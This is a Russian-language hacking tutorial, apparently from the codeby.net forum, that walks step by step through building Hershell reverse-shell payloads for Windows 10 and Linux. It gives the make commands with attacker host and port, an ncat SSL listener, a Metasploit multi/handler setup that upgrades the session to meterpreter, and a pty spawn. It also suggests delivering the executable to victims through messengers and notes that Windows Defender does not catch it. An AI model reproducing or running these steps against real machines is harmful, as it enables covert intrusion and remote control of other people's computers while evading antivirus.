Hack Windows 10, Linux x32(x64) - Hershell

Hack Windows 10, Linux x32(x64) - Hershell

@webware

t.me/webware

Приветствую гостей и участников Codeby.net. В этой статье поговорим о способах проникновения и получения контроля над удаленными ПК на ОС Linux и Windows.


Наша первоочередная цель – это заполучить надежный shell на нужном хосте, а потом уже думать над повышением привилегий и так далее.

И для ее осуществления я выбрал инструмент под названием Hershell, не громоздкая утилита, удобная в использовании, написанная на Go (Golang).

Он использует TLS для защиты соединений и обеспечивает функцию фиксации отпечатка пальца, открытого ключа сертификата, предотвращая перехват трафика.


Поддерживаемые ОС:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD и её производные.*

*Только если ваша FreeBSD может запускать ELF файлы.


Очевидными плюсами, разработчики Hershell называют, простоту создания обратного шелла, поддержку множества операционных систем, и в отличие от meterpreter, незаметность для AV-решений.


Так, как инструмент написан на Go, мы можем кросс-компилировать исполняемый код для платформы, отличной от той, на которой исполняется сам кросс-компилятор.


Для своих экспериментов я выбрал в качестве атакующего хоста – OS Kali Linux 2018.4.

Атакуемые – Debian, Windows 10 Pro.


В Kali Linux по умолчанию Go не установлен, поэтому его необходимо скачать и установить вручную:

wget https://dl.google.com/go/go1.11.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.11.linux-amd64.tar.gz

И добавить в переменную PATH, путь к установленному пакету (редактируем .bashrc)

export PATH="/usr/local/go/bin:$PATH"

Скачиваем себе Hershell со страницы разработчиков на Github.

git clone https://github.com/lesnuages/hershell
Создание полезной нагрузки:

Для этого этапа нам потребуется указать значения нескольких переменных для Makefile.

  • GOOS: целевая ОС.
  • GOARCH: целевая архитектура.
  • LHOST: IP-адрес атакующего или доменное имя.
  • LPORT: слушающий порт.
Функции доступные в Makefile:
  • depends: генерирует сертификат сервера (требуется для обратного шелла).
  • windows32: создает 32-битные исполняемые файлы (PE 32 бит)
  • windows64: создает 64-битные исполняемые файлы (PE 64 бит)
  • linux32: создает исполняемый файл linux 32 бита (ELF 32 бит)
  • linux64: создает исполняемый файл Linux 64 бит (ELF 64 бит)
  • macos32: создает исполняемый файл mac os 32 бит (Mach-O)
  • macos64: создает исполняемый файл mac os 64 бит (Mach-O)


Использование shell’a:

После запуска на целевом хосте, вам будет предоставлена удаленная оболочка. Эта пользовательская интерактивная оболочка позволит вам выполнять системные команды через cmd.exe в Windows или /bin/sh на машинах UNIX.

Поддерживаются следующие специальные команды:

  • run_shell: дает управление системной оболочкой (позволяя, например, изменять каталоги).
  • inject <base64 shellcode>: вводит шеллкод (закодированный base64) в память этого же процесса и выполняет его.
  • meterpreter [tcp | http | https] IP: PORT: подключается к multi/handler, чтобы получить обратный tcp, http или https meterpreter stage2 из metasploit и выполнить шеллкод в памяти (только в Windows).
  • exit: выход.


Использование Hershell:

Прежде всего, вам нужно будет создать действительный сертификат:

make depends

Компиляция для Windows:

# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Компиляция для Linux:

# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Компиляция для Mac OS X:

$ make macos LHOST=192.168.0.12 LPORT=1234

Для обработки входящих соединений можно использовать различные инструменты, такие как:

  • socat
  • ncat
  • openssl server module
  • metasploit multi handler (с python/shell_reverse_tcp_ssl payload)

Компилируем полезную нагрузку для Windows x64:

make windows64 LHOST=192.168.0.101 LPORT=4444

В каталоге появляется файл hershell.exe, который нам необходимо доставить на целевой хост.

Сейчас популярны мессенджеры, проще всего использовать их, к примеру.

После скачивания, на него не обратил внимания Защитник Windows, и дал спокойно сохранить файл.

Теперь необходимо, настроиться на получение входящих подключений, я выбрал ncat, по умолчанию он отсутствует, но можно поставить из репозиториев.

ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 4444

Когда на целевом хосте выполниться файл hershell.exe, мы получим обратный шелл.

К слову, тот же Защитник Windows, был не против запуска файла и никакой реакции не последовало.

Как итог, полноценный шелл командной строки Windows:

Шелл Hershell, несомненно, хорош, но у него есть замечательная функция – инициация шелла meterpreter, проапгрейдим его:

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 192.168.0.101
set LPORT 4445
set HANDLERSSLCERT /home/Pentest/hershell/server.pem
exploit

Создаем meterpreter сессию из Hershell:

meterpreter https 192.168.0.101:4445

Итог, немного предсказуем:

А в процессах мы видим такую картину:

Стоит отметить, что процесс Hershell включает в себя meterpreter, при снятии этой задачи – погибает и сессия в msfconsole.

Дальнейшие действия зависят от ваших умений и фантазии.


C Windows’ами все понятно, теперь проверим как Hershell сработает на Debian, компилируем полезную нагрузку:

make linux64 LHOST=192.168.0.101 LPORT=4444

Активируем прием входящих подключений:

ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 4444

И запускаем полезную нагрузку на целевом хосте:

Шелл здесь довольно ограничен, поэтому хотелось бы, расширения возможностей, стандартной функции импорта meterpreter нет, но мы можем использовать wget для загрузки файла содержащего meterpreter.

С помощью msfvenom создадим полезную нагрузку:

И поместим ее на локальный сервер, для последующей загрузки на целевой хост:

Загружаем из Hershell на целевом хосте файл с нашего сервера:

Дальше Metasploit и все необходимые настройки для получения сессии:

Запускаем созданный и загруженный файл, на целевой ОС:

И пользуемся полноценным шеллом meterpreter:

В дополнение, чтобы полностью почувствовать себя дома, включаем шелл от текущего пользователя и импортируем удобную нам оболочку:

shell
python -c 'import pty;pty.spawn("/bin/bash")'

Все, это конец) Мысли и предложения жду в комментариях.

Специально для Cobeby.net.

Источник codeby.net

Report Page